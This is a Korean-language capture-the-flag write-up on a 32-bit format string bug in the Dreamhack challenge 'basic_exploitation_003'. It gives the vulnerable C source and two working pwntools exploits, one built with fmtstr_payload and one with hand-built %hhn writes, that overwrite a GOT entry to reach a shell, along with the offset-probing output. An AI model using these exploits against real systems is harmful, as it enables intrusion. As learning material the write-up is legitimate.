what is FSB

다음 문제를 풀면서 작성했다.

Python
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

문제 코드는 다음과 같다.

Bash
(base) ┌──(kali㉿kali)-[~/Desktop/one day 1 pwn]
└─$ file basic_exploitation_003
basic_exploitation_003: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e2d5f4ca6087b4fcbb06378064e4e167643a1b5d, not stripped

일단 먼저 32bit에 대한 FSB이다. 이런 경우에는 일단 함수 호출 규약이 스택으로만 이루어져 있다.

이러한 FSB는 2가지 접근법이 있다.

  1. %n을 이용한 메모리 값 변조
  2. BOF를 이용한 스택 변조

이번에는 2가지 모두 심도 있게 다루어 볼것이다.

처음에 내가 작성한 풀이는 2번인 BOF를 이용한 스택 변조 이다.

여기서 볼 수 있다. 처음에는 단순히 칸을 채우고 RA를 덮어쓰는데 집중하였다. 하지만, 나중에 보니 좀더 고급진 방법을 많이 알 수 있어 이를 알아보려고 한다.

pwntools 사용한 고급 풀이

Bash
from pwn import *

#p = process('./basic_exploitation_003')
p = remote('host1.dreamhack.games','8208')

got=0x0804a010
gotshell=0x08048669

payload = fmtstr_payload(1,{got:gotshell})

pause()
p.sendline(payload)
p.interactive()

다음과 같이 fmtstr_payload 을 사용해서 풀수 있다. pwntools 정말 강력하다.

fmtstr_payload ( offset , { 덮을 주소 : 덮을 값 } ) 형태인데

offset은 현재 인자가 얼만큼 띄어져 있냐를 나타낸다.

중요→ 참고로 다음과 같이 fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int') fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short') fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')

4바이트 2바이트 1바이트 쓰는 걸로 정할수도 있다.

이 사이트에서 자세히 다룬다.

Bash
(base) ┌──(kali㉿kali)-[~/Desktop/one day 1 pwn]
└─$ ./basic_exploitation_003   
AAAA %p %p %p %p
ECHO : AAAA 0x41414141 0x34783020 0x34313431 0x20313431

여기서는 32비트에 바로 0x41414141 이 나오므로 offset은 1이다.

%n을 이용한 풀이

Bash
#!/usr/bin/env python3
from pwn import *
fname = "./basic_exploitation_003"


p = process(fname)
#p = remote('host1.dreamhack.games', 8203)
gdb.attach(p)
e = ELF(fname)
gadget = e.symbols[b'get_shell'] #0x8 04 86 69
printf_got = e.got[b'printf']

print(hex(printf_got))

payload = p32(printf_got) + p32(printf_got+1) + b"%97c%1$hhn%29c%2$hhn"
p.send(payload)
p.interactive()

이 코드에 대해서 드는 의문점 1.

왜 %97c 인가요? → p32(printf_got) + p32(printf_got+1) 때문에 각각 4바이트씩 해서 8임

따라서 8 + 97 = 0x69

왜 %29c 인가요? → 8 + 97 + 29 = 0x86

이 코드에 대해서 드는 의문점 2.

도대체 왜 p32(printf_got) + p32(printf_got+1) 얘내가 1번 인자와 2번 인자에 들어가는가?

엄청 많이 찾아봤지만 얻은 결론은 들어가게 설계가 된게 아니라

Bash
AAAA %p %p %p %p

이 payload로 미리 AAAA가 인자로 들어가는지 그리고 몇번째 인자로 들어가는지 확인후 설계가 들어가는 구조이다. 즉, 미리 계산이 아니라 환경을 고려해 확인을 하고 설계를 하는 듯